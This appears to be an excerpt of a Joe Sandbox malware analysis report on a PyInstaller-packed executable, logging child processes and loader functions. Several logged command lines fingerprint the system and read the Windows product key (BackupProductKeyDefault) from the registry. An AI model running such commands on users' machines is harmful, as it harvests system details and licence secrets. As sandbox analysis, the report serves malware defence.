Target ID:	78
Start time:	13:44:29
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	79
Start time:	13:44:30
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	13:44:30
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	13:44:30
Start date:	23/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff65aee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	13:44:30
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	13:44:30
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	13:44:30
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	14.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	34

Executed Functions

Function 00007FF70AEF8BD0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF70AEF9400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF70AEF45E4,00000000,00007FF70AEF1985), ref: 00007FF70AEF9439

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8C2B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8C46

Part of subcall function 00007FF70AF0A4EC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF0A500

Part of subcall function 00007FF70AF0878C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF087F3

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8CD6
CreateProcessW.KERNELBASE ref: 00007FF70AEF8D0E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8D18

Part of subcall function 00007FF70AEF2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF70AEF3706,?,00007FF70AEF3804), ref: 00007FF70AEF2C9E
Part of subcall function 00007FF70AEF2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF70AEF3706,?,00007FF70AEF3804), ref: 00007FF70AEF2D63
Part of subcall function 00007FF70AEF2C50: MessageBoxW.USER32 ref: 00007FF70AEF2D99

RegisterClassW.USER32 ref: 00007FF70AEF8D70
GetLastError.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8D7B
CreateWindowExW.USER32 ref: 00007FF70AEF8DC5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8DD7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8DF2
GetLastError.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8E05
PeekMessageW.USER32 ref: 00007FF70AEF8E29
TranslateMessage.USER32 ref: 00007FF70AEF8E37
DispatchMessageW.USER32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8E41
PeekMessageW.USER32 ref: 00007FF70AEF8E5C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8E6E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8E89
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8E9F
GetLastError.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8EA9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8EB7
DestroyWindow.USER32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF8FF4
GetExitCodeProcess.KERNELBASE ref: 00007FF70AEF9009
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF9012
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF70AEF3F7F), ref: 00007FF70AEF901F

Strings

PyInstallerOnefileHiddenWindow, xrefs: 00007FF70AEF8D44
CreateProcessW, xrefs: 00007FF70AEF8D27
Failed to create child process!, xrefs: 00007FF70AEF8D20
PyInstaller Onefile Hidden Window, xrefs: 00007FF70AEF8D85

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction ID: 1fc06cf030bcc3955ffb3441f5565ea066e3bc27c2c8ad2734c333fd71ae113e
Opcode Fuzzy Hash: f1b4a1f9842ac9cce6b2798ee34386867a7882a0850fd65476f94626d3f01840
Instruction Fuzzy Hash: 07D17D33A08A8686FB10AF74EC552A9B764FF84B58FC04275DA5D52BA8DF3CE544C710

Function 00007FF70AEF1000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF70AEF3EA6
Could not create temporary directory!, xrefs: 00007FF70AEF3CBF
pyi-contents-directory, xrefs: 00007FF70AEF3B8D
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF70AEF3BE8
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF70AEF3882, 00007FF70AEF38AF
Failed to remove temporary directory: %s, xrefs: 00007FF70AEF3FC3
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF70AEF3D35
_PYI_SPLASH_IPC, xrefs: 00007FF70AEF3A23, 00007FF70AEF3EF5
_PYI_ARCHIVE_FILE, xrefs: 00007FF70AEF38D2, 00007FF70AEF39FF
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF70AEF3D12
Failed to start splash screen!, xrefs: 00007FF70AEF3ED4
Failed to load splash screen resources!, xrefs: 00007FF70AEF3E85
MEI, xrefs: 00007FF70AEF3933
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF70AEF3971
VCRUNTIME140.dll, xrefs: 00007FF70AEF3DB1
pyi-disable-windowed-traceback, xrefs: 00007FF70AEF3BB2
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF70AEF3A17, 00007FF70AEF3A2F, 00007FF70AEF3A9B
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF70AEF3E0A
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF70AEF3A0B, 00007FF70AEF3CD4, 00007FF70AEF3F6B
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF70AEF39DE
bye-runtime-tmpdir, xrefs: 00007FF70AEF3B68
pkg, xrefs: 00007FF70AEF39BE
pyi-python-flag, xrefs: 00007FF70AEF3AD6
Failed to convert DLL search path!, xrefs: 00007FF70AEF3DDC
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF70AEF3B32
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF70AEF3C61
Py_GIL_DISABLED, xrefs: 00007FF70AEF3AF4
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF70AEF3EBB

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$bye-runtime-tmpdir$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag
API String ID: 2776309574-3273434969
Opcode ID: 44b6149e1a44f815cbaf6e2375de99b2dfa5e961a20aa3e5c6a8e77e9d9f5974
Instruction ID: 512d295fc8a0aedf45d839b72d19af62bea828e99f73b50e2f05f35f50c8a1ff
Opcode Fuzzy Hash: 44b6149e1a44f815cbaf6e2375de99b2dfa5e961a20aa3e5c6a8e77e9d9f5974
Instruction Fuzzy Hash: 0C324B23A0868391FA25FB25DC562B9E691EF44780FC440B2DA6D472D6EF2CF555D320

Function 00007FF70AF169D4 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF70AF16708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF16749
Part of subcall function 00007FF70AF16708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF167C7
Part of subcall function 00007FF70AF16708: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF16818

CreateFileW.KERNELBASE ref: 00007FF70AF16ADA
CreateFileW.KERNEL32 ref: 00007FF70AF16B2A
GetLastError.KERNEL32 ref: 00007FF70AF16B5A
GetFileType.KERNELBASE ref: 00007FF70AF16B6F
GetLastError.KERNEL32 ref: 00007FF70AF16B79
CloseHandle.KERNEL32 ref: 00007FF70AF16BAC
CloseHandle.KERNEL32 ref: 00007FF70AF16D0F
CreateFileW.KERNEL32 ref: 00007FF70AF16D44
GetLastError.KERNEL32 ref: 00007FF70AF16D53

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction ID: fee2240f18cc0681cbe84178b752af54e8ac407ae10f2cc67f00e149f3bc37ce
Opcode Fuzzy Hash: 4205a6958293653b93a25a06bf68436f7b6b11ca03fe036e6858b65a4e3d069e
Instruction Fuzzy Hash: B5C1BD37B28A4186FB50EFA5C8906AC7761EB49BA8F814275DF2E97794CF38E011C310

Function 00007FF70AEF83B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF70AEF8B09,00007FF70AEF3FA5), ref: 00007FF70AEF841B
RemoveDirectoryW.KERNEL32(?,00007FF70AEF8B09,00007FF70AEF3FA5), ref: 00007FF70AEF849E
DeleteFileW.KERNELBASE(?,00007FF70AEF8B09,00007FF70AEF3FA5), ref: 00007FF70AEF84BD
FindNextFileW.KERNELBASE(?,00007FF70AEF8B09,00007FF70AEF3FA5), ref: 00007FF70AEF84CB
FindClose.KERNEL32(?,00007FF70AEF8B09,00007FF70AEF3FA5), ref: 00007FF70AEF84DC
RemoveDirectoryW.KERNELBASE(?,00007FF70AEF8B09,00007FF70AEF3FA5), ref: 00007FF70AEF84E5

Strings

%s\*, xrefs: 00007FF70AEF83E2

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction ID: 4ee7bc68b35650c2bb8fea699c5c663a21a8bfaf89951a574c550c53d7c74005
Opcode Fuzzy Hash: 754801c57d3e7d892bd8d831a0c0450fb277ac1fd7854ad2b3e1f46bb6674256
Instruction Fuzzy Hash: 75414D23A0C98385FA20BB24EC455B9A360FF95754FD00676D99D47694EF3CE54A8720

Function 00007FF70AEF92F0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF70AEF9323
FindClose.KERNELBASE ref: 00007FF70AEF9332

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction ID: d0f5d35faed1815700424b9a574bae96a05fb0783f9ac5742d461abb14766490
Opcode Fuzzy Hash: f8f1f0d53470ef13f354418d29ecb311e48373b0acb6529cbcbe83ca601eafdf
Instruction Fuzzy Hash: 84F04423A1964386F760AB60F849766A350EF84764F940275DDAD027D4DF3CE0498A10

Function 00007FF70AEF1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF70AEF7F80: _fread_nolock.LIBCMT ref: 00007FF70AEF802A

_fread_nolock.LIBCMT ref: 00007FF70AEF1A1B

Part of subcall function 00007FF70AEF2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF70AEF1B6A), ref: 00007FF70AEF295E

Strings

Could not allocate buffer for TOC!, xrefs: 00007FF70AEF1B1B
Failed to seek to cookie position!, xrefs: 00007FF70AEF19EE
malloc, xrefs: 00007FF70AEF1B22
Failed to read cookie!, xrefs: 00007FF70AEF1A2B
Could not read full TOC!, xrefs: 00007FF70AEF1B55
fseek, xrefs: 00007FF70AEF19F5
MEI, xrefs: 00007FF70AEF1991
fread, xrefs: 00007FF70AEF1A32, 00007FF70AEF1B5C
Could not allocate memory for archive structure!, xrefs: 00007FF70AEF1A61
calloc, xrefs: 00007FF70AEF1A68
Error on file., xrefs: 00007FF70AEF1B8D

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction ID: 669f04b8111f3b23354048927e35cb9dc10bb94b5a961e5806075cecc692210b
Opcode Fuzzy Hash: 7f967e8bf4bd65ccd330245f6cf3beef5728b9bf280203bc786e936cb306ff0d
Instruction Fuzzy Hash: 2F817D73A08687C5FB24FB24D8426B9A3A0EF48784FC445B5EA8D87785DF3CE5858760

Function 00007FF70AEF1600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF70AEF1749
fopen, xrefs: 00007FF70AEF1663
fwrite, xrefs: 00007FF70AEF17D1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF70AEF16A2
Failed to create symbolic link %s!, xrefs: 00007FF70AEF1622
Failed to extract %s: failed to open target file!, xrefs: 00007FF70AEF165C
fseek, xrefs: 00007FF70AEF16E1
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF70AEF17CA
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF70AEF16DA
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF70AEF17DF
fread, xrefs: 00007FF70AEF17E6
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF70AEF1742

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
Instruction ID: 109978e0a95fcee77d60de156a030688d1b56c1033f11b4ac0d21c72eb3f1953
Opcode Fuzzy Hash: 607fb3d22e1abd3d0ea9d943795872ea3e60594e8e3d1f768179a624c21a25df
Instruction Fuzzy Hash: BE516763A08687C2FA10BB21EC025A9A3A0EF44B94FC446B5EE0C477D6EF3CF5458760

Function 00007FF70AEF8850 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,00007FF70AEF3CBB), ref: 00007FF70AEF88F4
GetCurrentProcessId.KERNEL32(?,00000000,00007FF70AEF3CBB), ref: 00007FF70AEF88FA
CreateDirectoryW.KERNELBASE(?,00000000,00007FF70AEF3CBB), ref: 00007FF70AEF893C

Part of subcall function 00007FF70AEF8A20: GetEnvironmentVariableW.KERNEL32(00007FF70AEF388E), ref: 00007FF70AEF8A57
Part of subcall function 00007FF70AEF8A20: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF70AEF8A79

Part of subcall function 00007FF70AF082A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF70AF082C1

Part of subcall function 00007FF70AEF2810: MessageBoxW.USER32 ref: 00007FF70AEF28EA

Strings

LOADER: failed to set the TMP environment variable., xrefs: 00007FF70AEF88CC
_MEI%d, xrefs: 00007FF70AEF8902
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF70AEF896E
TMP, xrefs: 00007FF70AEF888C, 00007FF70AEF8993
TMP, xrefs: 00007FF70AEF88B2

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction ID: 5ca41a01172a02c53cce1f36a6b2d5dc8b0615e11e3f26f5ca531eb66ac0efeb
Opcode Fuzzy Hash: 4e349524156a31c65ddba45994ef87c37bf84ce1b0e485ec316371ea64373d4f
Instruction Fuzzy Hash: 9A417B23A1968345FA24BB65EC562BAD390EF897D0FC041B1EE0D8779ADF3CE5058760

Function 00007FF70AEF1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF70AEF12C1, 00007FF70AEF12F6
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF70AEF12EF
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF70AEF1276
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF70AEF12BA
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF70AEF141E
1.3.1, xrefs: 00007FF70AEF1249

Memory Dump Source

Source File: 00000000.00000002.2112390693.00007FF70AEF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70AEF0000, based on PE: true

Associated: 00000000.00000002.2112350768.00007FF70AEF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112437979.00007FF70AF1B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112480687.00007FF70AF32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2112561787.00007FF70AF34000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70aef0000_cmd.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction ID: 05e2bb197f5b083b8943c092de5c543f11f358d40ed9de2f895ee63ca7bb7cdf
Opcode Fuzzy Hash: 15fc9c742c9fb12a8c4ab664e8e5c311509e27342d3a39e207e1bde7a43e7c65
Instruction Fuzzy Hash: 6D51BD23A0868785FA60BB11EC513BAE291EF85794FC442B5EE4D87BC5EF3CE5058720

Function 00007FF70AF0ED80 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
